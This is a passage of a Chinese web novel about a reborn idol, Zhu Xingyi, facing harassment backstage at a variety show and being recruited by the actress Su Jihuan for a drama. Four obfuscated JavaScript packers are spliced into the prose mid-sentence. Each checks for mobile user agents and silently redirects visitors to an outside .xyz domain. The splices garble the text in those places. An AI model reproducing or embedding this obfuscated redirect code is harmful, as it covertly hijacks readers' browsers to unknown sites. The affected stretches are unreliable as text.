《冰山影后每天都在撩我［重生］》 7. 第 7 章 沈桑言抬眸偷瞄祝星亦，一身简单的睡衣不掩窈窕的身材，虽是素颜，五官明艳让人移不开眼。 出道后，祝星亦不似往日那般谨小慎微，反而一脸淡然，琥珀色的眸中似乎藏着旁人无法触及的力量。 除此之外，祝星亦举手投足间尽显大明星风范，那股气质实在特别，队友都纳闷，祝星亦怎么变化那么大。 祝星亦笑说是因为成为明星了，自然要大大方方的。 这么有星相，应该去个更好的综艺才行。 Shinyfive刚成立，选秀也刚结束，这段时间正是曝光的好时机。如果上了热门综艺刷脸，对人气的提升很有帮助。 其他三人的综艺都有热度，受众也广，怎么偏偏祝星亦要去毫无热度的音综呢？太不公平了！ 沈桑言不想让祝星亦错失曝光的机会，她准备先问问祝星亦的意见，如果祝星亦愿意去《菜园》，她尽量跟上面争取。 祝星亦在心里果断拒绝这个机会。 上《菜园》固然好，但她知道，沈桑言的申请不会成功。 艺域巴不得祝星亦毫无热度，让好的资源统统和祝星亦无关。 前世祝星亦的一些资源，要么是资源方看重她的人气和商业价值，要么是后期晏瑾年给她牵的。除此之外，都是艺域和风荇塞给她的烂资源。 风荇娱乐为了限制她发展，早把资源转给同公司其他艺人，前期选秀投入颇多，后期便不管不顾，她想解约，奈何支付不起天价违约费。 资源对一个刚起步的艺人来说实在可贵，祝星亦心中满是怨愤，她明明认认真真工作为公司赚钱，却得不到公平的待遇。好资源永远与她无关，只能捡点旁人不要的。 和晏瑾年恋爱又如何？此人不想让太多人知道她与祝星亦的关系，永远扮演干干净净的牵线人，好资源和不好的资源，只要是晏瑾年给的，祝星亦都得接受，不容拒绝。 五年来，卑躬屈膝，兢兢业业，换来了什么？ 利益，价值，圈内有点地位的人，眼中只是这些。想要有话语权，必须爬上去，必须也要做这种人。 至于底层的艺人，譬如现在的祝星亦，譬如沈桑言，都没有资格说些什么。 被抛弃、被伤害，也得把委屈咽下去。 必须拿到资源爬上去，必须升咖，必须往上走才行。 “我不想去，桑言，不用麻烦你了。”祝星亦礼貌拒绝，“《菜园》这个综艺很生活，希望你到时候玩得开心。” 沈桑言脸上的失落展露无遗：“星星，你想清楚，你现在很需要曝光，《菜园》是个好机会。” 祝星亦弯眉笑说：“谢谢你，但真的不用了。” 沈桑言叹道：“好吧，既然你已经决定了，我尊重你的选择。不过，如果你有任何需要，一定要告诉我。” “好，谢谢你。” ～～～～ Shinyfive的五名成员去参加各自的综艺前，去了一档流量很高的综艺《周末了，朋友》参与录制。 这档综艺流量和话题都不错，观众多，讨论度也大，好多艺人排着队想来录制。 祝星亦可没忘记这个节目。 前世后台大厅，有嘉宾出言侮辱成员，在场的其他嘉宾只看热闹，不管不顾，任由那个嘉宾出口侮辱人。 录制时，有些做客嘉宾屡屡阴阳祝星亦，只为了看她出糗。 祝星亦还被当猴耍连续跳了好多难看的舞，太过疲乏，导致最后摔了一跤。 可那个嘉宾出言嘲讽：“这种程度都能摔倒吗？爱豆真好当啊，不然我也收拾收拾重新出道吧哈哈哈哈！” 游戏环节，她还被有些嘉宾屡次挤飞摔在泡沫池，主持人看不下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392520|153343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，委婉提醒那个嘉宾，却不被在意。 录完节目走出节目大棚，祝星亦看到等待她出来的粉丝，万般委屈涌上心头。可她只能跟［星海］们微笑致意，回酒店的路上避着队友偷偷抹泪。 后来节目播出后剪掉了嘉宾的嘲讽，只展现了嘉宾善良关心的一面。 反倒是祝星亦，很多高光镜头被剪掉不说，摔倒后顾着颜面强颜欢笑，被黑粉P成各种诡异表情包，摔倒的姿势还被做成鬼畜视频，登上了某站榜首。 高流量综艺，换来无效曝光，想想都觉得气愤。 坐在化妆间看着镜中的自己，祝星亦紧握着拳头。镜头数她控制不了，但反击她会做。向晏瑾年进击，她也会做。 晏瑾年的电影正在热映，她本人也会出现在这一期节目，祝星亦找准时机和晏瑾年接触就够了。 记得前世，晏瑾年跟祝星亦并不熟，这期节目上两人互动很少，祝星亦被欺负，晏瑾年好像也只是表面上关心了一下，导致祝星亦对她一点印象都没有。 后来共同参与的节目多了，见面多，晏瑾年才慢慢主动接触祝星亦。 然后开始对祝星亦狂热追求，还使出了令祝星亦害怕的手段。 算了，不想了。 常常缅怀过去可不是什么好事，人要往前看，死都死过了，现在可是在好好活着呢。 化完妆，工作人员开门进来，说需要Shinyfive先去台上试试声音，顺便排练一下出场节目，以及对官方台词，和熟练一下本次节目的人设。 门一开，走廊里路过的高挑女人站住脚步，目光停在祝星亦脸上。 “前辈好。”沈桑言先点头致意。 “前辈好。”余下三人跟着致意。 祝星亦盯着晏瑾年的脸，从人群中迈出来后，忍着恶心，声音轻轻：“前辈，你今天好漂亮。” 8. 第 8 章 走廊里工作人员来来往往，Shinyfive的其余四人也在。晏瑾年不清楚祝星亦会有什么过分举动。 要是真有，那可算是个不小的挑战。 “你也很漂亮。”晏瑾年礼貌地回应，“你们赶紧去排练吧。” “嗯，录节目时见。”祝星亦微笑着回答。 晏瑾年挑了挑眉，转身离开。 夏暖跟着走进化妆间，关上门后，疑惑地说：“年姐，你真打算跟这丫头牵扯不清啊？瑜姐都叮嘱过你……” “牵扯不清？”晏瑾年慵懒地抬眼看向镜中的自己，“这个词用在我和她身上，有点暧昧了。” 罗瑜对晏瑾年说了不少话，可晏瑾年总是左耳朵进右耳朵出。夏暖了解自家老板的脾气，想做什么就做什么，谁也拦不住。 那个祝姓爱豆不过是个没什么名气的小艺人，普普通通的唱跳爱豆，虽然看起来人气挺高的，但她只是爱豆，没多大价值，所在的公司规模也小。在夏暖看来，这种情况根本没必要与之有什么纠葛。 有价值才能陪那人玩，没价值费这个力气干什么？ 风荇娱乐的王小姐前期在祝星亦身上投入不少资源营销，毕竟祝星亦已经是她公司最有名气的了。 可祝星亦进入Shinyfive暂由艺域运营后，风荇的培养目标就转向公司其他艺人，吸一波祝星亦的热度，再把相对的资源分出去。 其实王小姐不给祝星亦倾斜资源是一个很正确的选择，祝星亦看着就不像甘愿窝在小公司的人。 翅膀硬了就会飞，说不定还会踩风荇一脚。王小姐不想失去风荇对祝星亦的掌控权，自然要先遏制祝星亦的发展。 内娱女爱豆的热度高峰就在出道前后，往后就逐渐没了人气，无人在意。非创作型爱豆要么转型，要么靠公司捧继续发展。 风荇早就放弃了祝星亦，如今看来，这个祝星亦显然是想靠傍上晏瑾年为自己谋取未来。 祝星亦是个聪明人，可惜，晏瑾年见过的聪明人太多了，祝星亦只是长得最漂亮也最主动的那个。 夏暖看着镜中的晏瑾年，叹气道：“总之，少搭理这种不自爱的女人，胆大包天，厚颜无耻。” 晏瑾年跷着二郎腿，“那我倒要看看她能胆大到什么程度。反正再胆大我也不会吃亏，不是吗？送上门来的，不要白不要呗。何况她能玩得过我？只会被我吃干抹净罢了。” 夏暖无奈地摇摇头，说：“是是是，年姐从来没吃过亏，只要到时候别流出床照就好。” “流出也没什么大不了的。”晏瑾年对这种事其实也不太在乎，“倒是她真要爬我床上的话……” 晏瑾年翻看手机上祝星亦的照片，笑得玩味：“也挺不错。” 夏暖叹气，“可是年姐，你真要是这么胡闹，夫人她会不高兴的，你也知道，大小姐她那边最近……” 听到［大小姐］三字，晏瑾年眼神一暗，声音不大高兴：“少跟我提她。我会把握分寸的。” ～～～ Shinyfive排练刚结束，几人来到后台休息聊天。 沈桑言背着手说：“星星，你怎么不紧张啊？这可是我们第1次和那么多明星同台录综艺呢。” 祝星亦当然不紧张，前世她录过很多综艺，见过很多大场面。光是颁奖礼她都去了很多次，不过拿了好奖的只有ETV。 真是可惜，刚拿到属于自己的女主角奖，就死了。 老天不母。 收起情绪，祝星亦挑眉，“不紧张是因为有你们在，咱们是一个team，只要大家在一起，就没什么可紧张的。” 沈桑言心里泛起一阵暖流。 林芮佳灌了半瓶水后，大步流星地来到两人身旁，双臂一伸，豪爽地搂住二人，开怀大笑道：“说不定等咱们火了，还能经常到这儿来刷脸呢！往大了想，咱们团节目播出后最少能涨100万粉丝呢！” 打扮得颇为帅气的费若澄接着说：“我觉得行，这综艺流量可不小，说不定咱们每个人都能涨百万粉丝呢。” 夏诗晴凑过来小声说：“我可不敢奢求百万，能有二十万就满足了。” “晴晴啊，你得有点野心。” “可期待越大，失望就越大呀。” 费若澄边说边伸手拉住夏诗晴，还捏了捏她的脸：“你必须得抱有期待！” “哼，就不！” 看着热闹的大家，祝星亦歪着头笑了起来。 笑着，周围的一切变得悲凉。 前世的经历在脑海中一闪而过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392521|153343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 选秀很残酷，成团夜那晚的灯光刺眼又美丽，灯光关闭之后，梦也结束了。 有人永远留在那场综艺里，有人披着出道者的胜利斗篷，迎着漫天的彩花，走向真正的遗憾。 内娱舞台很少，想要一直在舞台上唱跳、为舞台献出一切，是件很难的事。 限定团解散前，团内的每个人或多或少都会拿到一些资源。如果在团解散前无法积攒太多人气和资源，后期很难有太多热度。 成团不到一年，艺域放弃了Shinyfive，祝星亦因有金主扶持提前单飞，演演戏，录录歌，情况还算好。 但其他几人在女团热度过后，没了舞台，又没资源，只能各寻出路。 有的退圈直播摆摊，有的远走他乡，有的在娱乐圈籍籍无名当镶边角色。 如果未曾站在高台上，梦想只是个虚无缥缈的东西。但她们确确实实获得过掌声、鲜花，怎么会甘心就此陨落。 她们被早早放弃，落入泥泞挣扎着继续朝闪闪发光的宝座跑，只会一次又一次摔倒。 她们，无数个她们，只是提线木偶，线断了，她们的梦想碎了。前行的路，也被堵死了。 一茬接一茬的人，如过江之鲫。 娱乐圈不缺新人，不缺有才华的人。 无法掌握资源的艺人，随时都可以被别人取代。 即便艺域现在力捧沈桑言，后面沈桑言也会因为没有价值被抛弃。祝星亦对晏瑾年没有价值，也被抛弃了。 祝星亦正出神，忽然，男人的声音传来，越来越近。 排练完的几个男艺人来到后台，目光落在Shinyfive的五人身上。 近期演了热剧男配的章杉吹起口哨，他故意拖长尾音，一脸轻佻。 即将带着新剧上台的汪迩孜则眼神放肆地上下打量着几个人，他像个太监，阉兮兮地说：“哇哦，Shinyfive，女团选出来的人还真有点水平呢。” 章杉站到五人面前，眉毛一挑，流里流气地问：“刚刚没瞅见你们排练，你们打算跳啥来着？” 一旁的厉肆咧开嘴，怪声怪气地大笑起来：“还能跳啥？不就是扭扭屁股呗，哈哈哈哈哈。女爱豆嘛，不就这样？” 说着，三人哄笑起来。 9. 第 9 章 祝星亦皱起眉头。 她清楚地记得前世这几个人在录节目时故意让五人出糗，当时大家因为他们是前辈，敢怒不敢言。 但如今的她可不再是那个任人欺负的小爱豆了，她是死过一次的人，她有自己的脾气，也有敢怒的勇气。 厉肆伸出手，那手就像一条滑腻的蛇，嘴里又说着：“我没瞧见你们的舞蹈，要不先在后台给我们扭扭看。” 说着，他的手朝着沈桑言的胳膊伸去，动作轻佻无比。 祝星亦见状赶忙拍掉他的手，怒目圆睁，厉声喝道：“手不想要就砍了，你舍不得砍我来砍！” 这一声喝骂让几人瞬间愣住了，队友们也瞪大了眼睛看着祝星亦。 这可是有资历的前辈，祝星亦竟敢如此大胆。 厉肆没有生气，迈着不紧不慢的步子走到祝星亦面前，脸上挂着饶有兴趣的笑容：“哦，你就是祝星亦是吧，第一名啊，第一名果然有点与众不同呢，瞧瞧这暴脾气。” 祝星亦冷冷地斜视他一眼，眼里满是厌恶。 章杉在一旁煽风点火，怪声说：“是个带刺的玫瑰呢。” 三人又发出一阵令人反感的哄笑。 汪迩孜的眼睛像黏在祝星亦身上一样来回打转，嘴里说道：“祝星亦，上次嘉兰活动你的表演很火辣嘛。不过你这发展方向可有点不对啊，长这么好看应该去拍影视剧。我认识一个导演，他拍的片子都很不错哦。” 厉肆也跟着起哄：“哦哦，我知道，是张导吧。到时候祝星亦你就给大家伙展示展示身材就成。张导嘛，就好这一口，说不定到时候你就火了。你看我给你指的路好不好？” “拍戏可比在台上蹦蹦跳跳轻松得多啊。”说着，厉肆伸出手，那只手在空中晃悠着。 祝星亦见状毫不犹豫抬手给了厉肆一个响亮的耳光。 “啪”的一声，清脆响亮，所有人都被惊得目瞪口呆。 沈桑言急忙伸手去拉祝星亦，她怎么也没想到祝星亦不仅敢骂人还敢动手。昔日性格有些柔弱的祝星亦现在怎么变得那么虎！ 祝星亦不解气，抓着厉肆的领子又扇了一耳光，扇着嘴里还说着：“我劁你爹的狗东西！你再敢骂一句我撕烂你的嘴！” 厉肆哪里能忍受被女人打，他眼睛一瞪，眼珠像是要凸出来一样，抬手就朝着祝星亦狠狠地打了回去。 祝星亦被打得脑袋一阵发懵，身体摇晃了一下。沈桑言心疼得眼眶泛红，赶忙紧紧拉住祝星亦，把她护在身后。 “死老男人你还敢打我。”祝星亦突破沈桑言的阻挡，一个箭步迈向前去，顶着红肿的脸抬手揪厉肆的头发，准备朝他面门来一拳。 工作人员听到吵闹声，急忙赶过来阻止。 厉肆气得脸涨得通红，脖子上的青筋都暴起来了，大声怒吼道：“我告诉你们，如果祝星亦要录这档节目的话，我就不录了！” 厉肆在娱乐圈里人脉颇广，认识不少名导，他所签约的公司在业内也是响当当的存在，实力非常强劲。 节目陈导急忙赶来，好一番劝说，才勉强留住了厉肆。 沈桑言担心祝星亦因为这件事录不了节目，赶忙联系艺域那边去说好话。 但艺域不想管，只让沈桑言别惹事。 沈桑言焦急万分，不知如何是好。 等了会儿，好消息传来，陈导亲自过来说的。 “没事，都留住了。”陈导抹了下额上的汗珠，她看着祝星亦，想说什么，又止住了，“晚上就好好录吧，别再起什么争执。” “谢谢陈导。”祝星亦道谢。 节目留着两人，厉肆不服气，但也得给节目导演面子。 敷着冰袋，厉肆瞪着祝星亦咬牙切齿地警告：“祝星亦，你给我等着，今天我暂且放过你，以后你要是想进影视圈，我定扒你一层皮！” 听这人警告，沈桑言吓得泪花在眼眶里打转，对祝星亦说：“对不起，都是因为我才害你这样的。” 祝星亦叹道：“什么叫因为你，你什么都没做错。” 沈桑言只是一个劲儿地摇头，带着哭腔说：“对不起。” 祝星亦安慰她：“别伤心了，赶紧看看我这脸肿没肿，不然上镜可不好看了。” 脸疼得不得了，但她也是解气了，至少给前世的自己和队友出了口气，痛快。 “嗯。”沈桑言吸着鼻子说。 ～～～ 正式录制节目之际，由于后台发生了那些不愉快的事情，这三个男人在节目中对待Shinyfive的五个人的态度极为冷淡。 交流互动环节，他们的冷漠态度让五个人难免感到有些尴尬。 不过祝星亦心想，即便尴尬，也好过像前世那样被他们调侃而丢人现眼。 录完节目后，众人又在后台聊起天来。 祝星亦趁着没人留意，悄无声息地拿走了厉肆的手机，而后朝着厕所走去，先把手机摔碎再丢进垃圾桶里。 做完这一切，她从厕所出来，出门左转直走，正好碰到了晏瑾年。 她忍着厌烦走到晏瑾年面前，歪着头，几缕发丝从肩头滑落，“前辈，好巧。听说你下个月要进组拍戏了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392522|153343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我能不能去探班？” 消息还挺灵通。 晏瑾年双唇轻抿，不紧不慢地说：“你若得闲，要来便来，只是我未必有空见你。” 晏瑾年对后台之事一无所知，导演那边早早压制了事情的传播，不想闹太大。 “那约好了？”祝星亦并不在乎晏瑾年到底是不是在拒绝她。 晏瑾年抬起下巴，转身离去。 ～～～ 近期曝光较多，冒出很多黑粉，但热度也在不断攀升，祝星亦很满意。 不过比起真正的高人气流量明星，她的热搜话题只在上升热点里打转，始终上不了中高层。 这热搜到底谁在上？！ 祝星亦翻到热搜正栏，排高位的是#苏寄欢抽烟#。 祝星亦烦闷地翻身点开苏寄欢的热搜。 苏寄欢完全和营销姐划等号，做什么都得上个热搜，导致前世祝星亦对苏寄欢的观感很不好。 虽然苏寄欢演技顶好，但她的剧祝星亦从来都不看，加之那时祝星亦爱慕晏瑾年，祝星亦不免对苏寄欢多了几分讨厌。 苏寄欢抽个烟能怎么了？能有什么关注度，又为什么能上热搜。 又不是抽鞭炮，她苏寄欢上这个热搜干嘛啊。 点开话题，映入眼帘的是晚上苏寄欢在天台酒吧抽烟喝酒的糊照。 照片虽有点糊，但还是能看到苏寄欢清冷的五官。一字肩修身黑裙，红底黑高跟，跷着二郎腿慵懒地夹着烟，锐利的目光看着对面完全看不清的人，嘴角上扬，飘忽着若有若无的笑意。 有点不羁，也有点高级。 苏寄欢这人私下烟酒都来，怎么还有那么多人对她夸夸夸。 祝星亦噘着嘴起身拉开凳子，拿了支笔跷着腿，怎么都模仿不出苏寄欢的慵懒感。 咚咚—— 敲门声。 祝星亦关掉手机开门，是Shinyfive的经纪人孙闵莉。 “莉姐，有事？”祝星亦邀孙闵莉进来。 孙闵莉把一份文件放在桌子上，“有事。容总那边说你不用去音综了。” 祝星亦怒血直冲脑门儿。 到底要怎样？艺域防爆防得连综艺都不让她上了吗！ 孙闵莉耸肩微笑：“容总要你进组拍戏，是黎芷恩导演的，古装大制作哦。” “黎芷恩导演的？大制作？” “是啊，苏寄欢小姐在里面演女主，到时候你跟她搭戏，多好的机会啊。” “苏……寄欢？她？我和她搭戏？”祝星亦愣住了，“啊？我吗？” 10. 第 10 章 祝星亦显然有点惊讶，她拿着文件看了又看，再次向孙闵莉确认：“不是吧，我进组拍戏？还是和苏寄欢搭戏？怎么可能？” 孙闵莉笑答：“苏老师说上次在嘉兰认识了你，觉得你是个可塑之才。她和黎导一起跟容总这边沟通了下，本来容总这边也不放人，但这确实是个难得的机会。” “可塑之才？她说的？”祝星亦怎么也无法想象出苏寄欢会对自己有如此看法，上次二人交流沟通分明很不愉快。 莫非这苏寄欢想阴她？ “容总同意我去了？”祝星亦可不认为容羽珍会把好机会让给她，艺域专注自家艺人，怎么可能甘愿让祝星亦直接出演大制作剧。 孙闵莉点头：“自然是同意了，毕竟是苏老师和黎导来要人，艺域总不能不给她们面子。苏老师的影视资源多，黎导在业界颇有声誉，有一次合作，就有第二次合作。” 孙闵莉虽是这样说，但祝星亦不觉得这事有那么简单，艺域肯定和苏寄欢那边做了什么交易才松口。 艺域那么小心眼，没有太大的利益肯定不放祝星亦走。而苏寄欢…… 呵呵，苏寄欢可不单纯是个声誉很高的影后，她可是［苏盛］的老板，她怎么可能会做赔本的买卖？ 苏寄欢和晏瑾年是一类人，两个人都是精明的商人。 她们不合，也只是因为都想做最强的商人，所以才会争得头破血流。 “星亦，你这边觉得如何？”孙闵莉问，“这可是个难得的机会，和苏老师搭戏，又是黎导的剧，即便刷刷脸都是一份难得的体验。更何况你是这部剧的二番。” 祝星亦按下文件，歪着头叹道：“我出演二番？啊？我吗？” 刚出道的小爱豆一上来就出演大制作的二番，谁见了不说这小爱豆有后台？ 又是跟苏寄欢这位人气影后出演业界好评如潮的黎芷恩导演的剧，祝星亦只觉得脑子上糊了一层沉重的雾。 苏寄欢在打什么鬼主意？ 孙闵莉弯着眼点头道：“自然是你。如果你有其他疑虑，可以跟容总沟通。或者……” 说着，孙闵莉打开手机把一串地址发给祝星亦，“你可以去这里找苏老师，你和她沟通沟通。苏老师跟容总说，上次她和你聊天很愉快，她非常欣赏你。” 聊天愉快？欣赏？哪门子的愉快和欣赏？ 祝星亦没有直接拒绝，也没有直接答应。 出演影视剧对祝星亦来说当然是好事，前世正是因为做爱豆没什么前途她才转演员。 现在跨过爱豆直接做演员，对祝星亦来说是个不错的转机。 可祝星亦总觉得事情没那么简单。天大的好事怎么会轮得到她这个没背景还遭艺域防爆的人？苏寄欢到底安的什么心？ 看祝星亦没回答，孙闵莉道：“星亦，你这边先好好考虑吧。容总一直都很重视你，你看上次《周，友》后台你和厉先生的争执，容总说破嘴皮子给你压下去，你要是不给容总面子，这说不过去。” 祝星亦心里冷嘲，容羽珍要是真重视她，也不会让她去一个没有水花的音综。 前世容羽珍巴不得让祝星亦没有曝光，代言和综艺都给祝星亦往下压，一点心都不往祝星亦身上放，害得艺域其他新人都敢对祝星亦指手画脚。 “好，我会考虑考虑。” 孙闵莉听出祝星亦语气中的一丝不情愿，她往祝星亦身旁坐坐，语重心长道：“星亦，咱公司培养你花了不少精力，苏老师和黎导既然纡尊降贵来邀你出演，你怎么说也得给她们点面子是不是？说到底在这圈子里混也是要懂点人情世故，你要是拒绝了她们，可就是拒绝了未来大好的前程。” 祝星亦自然是明白这个理儿，底层小艺人面对这些大腕儿，纵使一百个不情愿也得装作愿意。届时还要谄媚地讨好她们，否则伺候不好，在圈子里可别想好好混。 当初祝星亦就是被那些光环逼得同意晏瑾年的告白，要她说底层人的命真就不是命，上有公司压着，又有大腕儿逼着，她们这些出不了头的就是摆在橱窗里的提线木偶，被买走后也要听从安排，大气都不敢出。 “知道了莉姐，我会好好沟通。” ～～～ 苏寄欢的工作室在［苏盛文化］大厦的顶层，孙闵莉给了苏寄欢助理的联系方式。约好时间，祝星亦坐上通往顶层的专属电梯。 “祝小姐，这边请。”工作人员邀祝星亦前往等待厅。 顶层一层都是苏寄欢的工作室，装修风格清雅得很，和苏寄欢很是适配。 “祝小姐。”等待片刻，身着黑色西装的齐肩发女人推门而入，她脖子里戴着紫色工作牌，上面写着【助理：金允声】。 金允声注视面前的女人，蓬松长发托着小巧明艳的脸，荔枝冻耳坠，黑色挽花choker，浅灰色短裙套装包裹着好身材，白色及膝袜衬得小腿纤细无比，脚下是一双黑色粗跟高跟鞋。 女人嘴角勾起淡淡的笑，眼神坚定有力，和明艳的脸庞形成强烈的反差。 舞台上像只妖孽狐狸，真人倒是透着不似内娱新人的淡定和自信，还有若隐若现的野心。 不过再怎样，此人也是一个花瓶。 金允声做苏寄欢助理那么久，还没碰到她找这种花瓶演戏。流量花瓶和苏寄欢搭戏，简直是对苏寄欢的侮辱。 得知苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392523|153343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寄欢要找容羽珍讨祝星亦来演阿星一角，苏芙当时就吼苏寄欢脑子是不是有病。明知是奔着拿玉桂奖的剧，还要一个刚出道的爱豆来演，神经病。 这部《寄明月》未来可是要和晏瑾年的《辞旧赋》一起竞争玉桂奖，苏寄欢竟不把选角当回事。 苏寄欢好说歹说才说服了苏芙，随后磨破嘴皮子说服黎芷恩，最后带着黎导跟容羽珍左说右说把人要了过来。 大动周折把人要来，何必呢？［苏盛］里那么多艺人，干嘛还要找祝星亦这样的人？ 花瓶爱豆只会挤眉弄眼，为了美美美一点演技都不贡献，台词都背不下去，受了点伤粉丝就嚷嚷着宝宝好辛苦。说不定苏寄欢到时候还会被祝星亦的粉丝攻击。 要不说正儿八经的演员最反感这种爱豆呢？事儿多，还矫情得要死。 “你好。”祝星亦起身颔首。 金允声带祝星亦出来，“祝小姐，这边请，苏老师在等你了。” “好。” 到一间屋子门口，金允声敲敲门，转头说：“祝小姐，请进。” 金允声扭动门把手，祝星亦颔首致意踏进房门。 这间屋子很大，摆设多是些漂亮的小玩意儿。 嗅到一股花果香，祝星亦没看到苏寄欢，往里面走了两步准备喊人。 要喊什么称呼？ 斟酌两秒，祝星亦出声：“苏老师，你在哪儿？” 哒哒哒。 里间传来一阵脚步声。 祝星亦循着声音走过去，望见来人。 浅褐色的眸子在灯光下几近透明，瓷白的肌肤只用淡妆修饰，像一汪一汪的雾气在晨光熹微时翻涌。 碧玉发簪将女人的长发挽起，白色V领衬衫与黑色半身鱼尾裙的搭配恰到好处，腰间还束着一条款式简约的腰带。 花边裙角下，露出白皙纤细的脚踝，脚蹬黑缎面高跟鞋，脚背上青筋与骨骼的轮廓清晰可见。 她走过来，手里抱着一沓资料，步子迈得不大，裙角随着身体动作摇曳。 祝星亦的目光跟着女人移动。 女人像极北之地凛冽的雪，冷空气磨砺出的质感和寒意，扑簌簌降落在坚韧的生命里，扎烂无遮无掩的隆冬。 祝星亦总觉得看过千百次这样的苏寄欢，可仔细想想，前世也只和苏寄欢打过几次照面。 细高跟的鞋子在祝星亦面前停下，清冷的气息缓缓溢出。 祝星亦屏着气，小退了半步。 女人便向前挪动半步追了过去，裙摆似夏风吹动的荷叶。 哒。 “我在这里。”苏寄欢淡淡道，“好久不见，祝星亦。” 11. 第 11 章 “也没有好久。”接触到苏寄欢的目光，祝星亦蜷起手指开门见山：“苏老师，我来找你是要聊聊和你搭戏的事。” 苏寄欢似乎对这件事并不感冒，一嘴未提，放下资料邀祝星亦去阳台处的茶桌坐下。 卷云纹楠木方桌上烹着一壶茶，青釉瓷杯整整齐齐摆着，桌角立了一个藕色的窄口花瓶，插着一枝坠着水珠的白海棠。 祝星亦坐下盯着海棠看了看，一碟点心放在她面前。 “玫瑰酥。”苏寄欢往她面前推了推，“我看你粉丝拿这些做应援伴手礼，说是你的食物代表，便叫馨蓉姐帮我做了。” 祝星亦哑然。 这一出更让祝星亦摸不着头脑。 茶好了，苏寄欢给祝星亦斟茶。 瓷杯里的茶翠绿如玉，香味浓烈，却不及斟茶人动作的半分雅致。 祝星亦悄悄看苏寄欢，苏寄欢整个人清清冷冷，鬓边留了没挽起的碎发，随着动作晃动，撩拨得人心痒痒的。 她可真好看，是和别人不一样的好看。祝星亦收回目光。 苏寄欢双手放在腿上，偏头道：“洞庭碧螺春，没查到你喜欢喝什么，擅作主张煮了。” 祝星亦茶没动，点心也没动，一脸谨慎地说：“苏老师，感谢招待，但我想我们可以开始聊正事了。” 苏寄欢抬起一条胳膊随意往桌子上搭，桌下的腿向前移动半分，她点点头，说：“好，你先说。” “为什么找我和你搭戏？不管从专业角度还是你我的交情来看，我都不合适。”祝星亦知道自己目前几斤几两，刚出道的小爱豆，顶多在小圈子里有点名气，出了圈子查无此人。 ［苏盛文化］里合适的艺人多得多，偏苏寄欢放着自家艺人不要，来邀她演戏，这不是吃饱了撑的吗？ 更何况祝星亦跟苏寄欢只有一面之缘，什么欣赏什么赞美，都是客套话。 “所以你有什么阴谋？”祝星亦也不藏着掖着，问得直截了当。 祝星亦眉毛拧着，像一只拿着盾牌自我防卫的炸毛狐狸。 望着她，苏寄欢嘴角的弧度似乎在克制着什么，低了下头沉声说：“阴谋倒是没有，只是觉得你很适合这个角色。” 一说角色，祝星亦都不知道她要演什么角色。孙闵莉并未跟她讲太多细节，祝星亦今日来也是为了多了解点。 苏寄欢把剧本拿给祝星亦，祝星亦看了人物介绍瞪大了眼，握着剧本的手猛地一紧，“二番是……丫鬟？女主的丫鬟是二番？” 改编后的《寄明月》除了顾明月一角是扛大梁的大女主，只剩几个主线关键人物配角较重要。 这些配角除了导演、资方的安排，［苏盛文化］的艺人也有参演，戏份比重就要考虑多方因素。 这样下来番位的争执必不可少，苏寄欢左思右想跟黎导商量了下，把阿星一角提到二番，这样可以把矛盾转移，且给祝星亦一些应有的热度。 “对，二番。”苏寄欢盯着祝星亦的脸，观察她每一个表情，“怎么，二番也不满意？” 祝星亦手指在桌面敲了敲。 她倒不是不满意，只是担心苏寄欢还有什么阴谋。事关转型，她必须慎重考虑。 祝星亦找了个理由说：“这个角色太重要了，我怕我胜任不了。” “给你请表演老师，如何？” “太麻烦你们了，拍戏的时间很珍贵的，由不得试错。” “我亲自教你。”苏寄欢静静地看着祝星亦说。 祝星亦眼中飘过一丝诧异。 苏寄欢挑眉道：“我有教师资格证，本科LMA，华影硕士，明年博士毕业，应该够格吧？” 祝星亦有那么一瞬间觉得苏寄欢认真了，她来之前总觉得这个奇怪的合作是恶作剧。 前世祝星亦也有表演老师，但拍戏很赶，祝星亦断断续续跟着学，有成效，但不多。 祝星亦确实想要精进自己的演技，也确实想要这个机会。 